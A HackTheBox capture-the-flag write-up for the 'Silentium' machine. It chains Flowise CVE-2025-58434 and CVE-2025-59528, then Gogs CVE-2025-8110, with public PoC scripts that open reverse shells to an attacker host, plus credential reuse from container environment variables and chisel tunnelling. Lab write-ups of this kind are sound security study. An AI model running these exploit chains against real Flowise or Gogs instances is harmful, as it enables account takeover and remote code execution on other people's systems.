Silentium Writeup - HackTheBox

Easy Linux

HackTheBox Discuss on Discord

Created April 3, 2026 • Last updated September 17, 2026 • 5 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]

└─$ scan_tcp_full $TARGET_IP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/

HTTP redirects to silentium.htb. Add it to /etc/hosts:

┌──(kali㉿kali)-[~]

└─$ echo "$TARGET_IP silentium.htb" | sudo tee -a /etc/hosts

The main site presents a corporate finance page. Subdomain enumeration is the next logical step given the vhost redirect.

Subdomain Enumeration

┌──(kali㉿kali)-[~]

└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \

-u http://silentium.htb/ \

-H "Host: FUZZ.silentium.htb" \

-mc 200,204,301,302,307,401,403 -fs 178

staging    [Status: 200, Size: 3142]

Add it to /etc/hosts:

┌──(kali㉿kali)-[~]

└─$ echo "$TARGET_IP staging.silentium.htb" | sudo tee -a /etc/hosts

Flowise CMS , staging.silentium.htb

┌──(kali㉿kali)-[~]

└─$ whatweb staging.silentium.htb

Meta-Author[FlowiseAI]
Title[Flowise - Build AI Agents, Visually]

The subdomain runs Flowise , an AI agent builder. Checking the version via the UI reveals Flowise 3.0.5.

Searching for recent Flowise CVEs surfaces two critical vulnerabilities affecting this version: CVE-2025-58434 (unauthenticated account takeover via token disclosure) and CVE-2025-59528 (authenticated RCE via CustomMCP node). These chain together for unauthenticated RCE.

The /api/v1/apikey/ endpoint returns {"error":"Unauthorized Access"}, confirming the instance has authentication enabled , the ATO stage is required before RCE.

Initial Access

Username Enumeration via Corporate Site

The main silentium.htb page lists staff names: Marcus Thorne, Ben, Elena Rossi. Generate email permutations using namemash:

┌──(kali㉿kali)-[~]

└─$ python3 namemash.py names.txt --domain silentium.htb > emails.txt

# [+] 36 usernames generated

The forgot-password endpoint at http://staging.silentium.htb/api/v1/account/forgot-password returns HTTP 404 for unknown users and HTTP 201 for valid ones, leaking account existence without authentication.

CVE-2025-58434 + CVE-2025-59528 , Flowise ATO Chain → RCE

CVE-2025-58434 affects Flowise prior to the patched release: the forgot-password endpoint returns the raw tempToken directly in the HTTP 201 response body without any authentication. An attacker can request a password reset for any valid email, extract the token from the response, and immediately use it to reset the password , achieving full account takeover with zero authentication.

CVE-2025-59528 provides authenticated RCE via the CustomMCP node, which evaluates arbitrary JavaScript inside the child_process module context. Together these chain to unauthenticated RCE.

Iterate the generated email list through the PoC from github.com/kartik2005221/CVE-2025-58434-AND-59528-POC:

┌──(kali㉿kali)-[~]

└─$ while read email; do

python3 main.py -u http://staging.silentium.htb -e "$email"

done < ../../emails.txt

[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201

LEAKED ACCOUNT DATA
User ID    : e26c9d6c-678c-4c10-9e36-01813e8fea73
Name       : admin
Email      : ben@silentium.htb
tempToken  : sPnEvKlmWGiD2coXdsHtJJeh4oJTKM0Mx0Jbejp6nzvUvfahMhUwUuqUzDSyE6vu
[!] VULNERABLE — token disclosed without authentication!

[Step 2] Resetting password → Flowise@Pwn3d2025!
[+] Password reset SUCCESSFUL
[+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!

[Step 3] Logging in ...
[+] Session cookies obtained ✓

[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[+] RCE confirmed!

ben@silentium.htb returns HTTP 201 and leaks the token.

Fire a reverse shell using the built-in --lhost/--lport flags:

┌──(kali㉿kali)-[~]

└─$ python3 main.py -u http://staging.silentium.htb \

-e ben@silentium.htb \

--lhost $ATTACKER_IP --lport $ATTACKER_PORT

listening on [$ATTACKER_IP] $ATTACKER_PORT ...
connect to [$ATTACKER_IP] from (UNKNOWN) [10.129.34.141]
/ # whoami
root

Shell is root inside a Docker container (Alpine, minimal BusyBox environment, hostname c78c3cceb7ba, .dockerenv present at /).

Post-Exploitation , Container Enumeration

Environment Variables , Credential Leak

┌──(kali㉿kali)-[~]

└─$ env

FLOWISE_PASSWORD=F1l3_d0ck3r
FLOWISE_USERNAME=ben
SMTP_PASSWORD=$BEN_PASSWORD
SMTP_USERNAME=test
SMTP_HOST=mailhog
SENDER_EMAIL=ben@silentium.htb
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDD
DATABASE_PATH=/root/.flowise

The SMTP_PASSWORD variable stands out , it's the only credential that doesn't look like a service-internal secret. Try it against SSH on the host.

Container Networking

┌──(kali㉿kali)-[~]

└─$ ip addr

┌──(kali㉿kali)-[~]

└─$ # eth0: 172.18.0.2/16

┌──(kali㉿kali)-[~]

└─$ ip route

┌──(kali㉿kali)-[~]

└─$ # default via 172.18.0.1

The container is on a 172.18.0.0/16 Docker bridge. The gateway 172.18.0.1 is the host.

Initial Access , Host SSH

┌──(kali㉿kali)-[~]

└─$ ssh ben@$TARGET_IP

┌──(kali㉿kali)-[~]

└─$ # Password: $BEN_PASSWORD

Welcome to Ubuntu 24.04.4 LTS
ben@silentium:~$

The SMTP password from the container environment reuses as ben's SSH password on the host. Grab user.txt from /home/ben/.

Privilege Escalation

Internal Service Discovery

Check local ports on the host:

┌──(kali㉿kali)-[~]

└─$ ss -tulnp

127.0.0.1:3000    # Flowise (already known)
127.0.0.1:3001    # unknown
127.0.0.1:1025    # SMTP (mailhog)
127.0.0.1:8025    # mailhog web UI

Port 3001 returns a Gogs Git service:

┌──(kali㉿kali)-[~]

└─$ curl 127.0.0.1:3001 | grep title

┌──(kali㉿kali)-[~]

└─$ # <title>Gogs</title>

On the attacker:

┌──(kali㉿kali)-[~]

└─$ chisel server -p 8001 --reverse

On the target:

┌──(kali㉿kali)-[~]

└─$ ./chisel client $ATTACKER_IP:8001 R:3001:localhost:3001

Browse to http://127.0.0.1:3001/ , Gogs is running on staging-v2-code.dev.silentium.htb.

CVE-2025-8110 , Gogs Git Hook RCE

Push an initial commit to establish the remote:

┌──(kali㉿kali)-[~]

└─$ git init

┌──(kali㉿kali)-[~]

└─$ touch README.md

┌──(kali㉿kali)-[~]

└─$ git add README.md

┌──(kali㉿kali)-[~]

└─$ git commit -m "first commit"

┌──(kali㉿kali)-[~]

└─$ git remote add origin http://127.0.0.1:3001/pwn/pwn.git

┌──(kali㉿kali)-[~]

└─$ git push -u origin master

┌──(kali㉿kali)-[~]

└─$ # Username: pwn / Password: pwn

The repository is now live on the Gogs instance:

CVE-2025-8110 is an RCE vulnerability in Gogs that allows an authenticated user to abuse the sshCommand configuration in the git repository to inject and execute arbitrary commands when a push triggers server-side git hooks. The PoC from github.com/zAbuQasem/gogs-CVE-2025-8110 automates the full chain. The built-in registration step is disabled (Gogs has registration locked) , use the pwn:pwn account created manually

┌──(kali㉿kali)-[~]

└─$ python3 CVE-2025-8110.py -u http://127.0.0.1:3001/ \

-lh $ATTACKER_IP -lp $ATTACKER_PORT

[+] Authenticated successfully
[+] Application token: 5e57bf5cf353d5324dfda072c9b5084f8e6fad36
Repo creation status: 201
[master c83d252] Add malicious symlink
[+] Exploit sent, check your listener!

┌──(kali㉿kali)-[~]

└─$ nc -lvnp $ATTACKER_IP $ATTACKER_PORT

listening on [$ATTACKER_IP] $ATTACKER_PORT ...
connect to [$ATTACKER_IP] from (UNKNOWN) [10.129.34.141]
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2#
root@silentium:~# cat root.txt

Root shell on the host. Grab root.txt from /root/.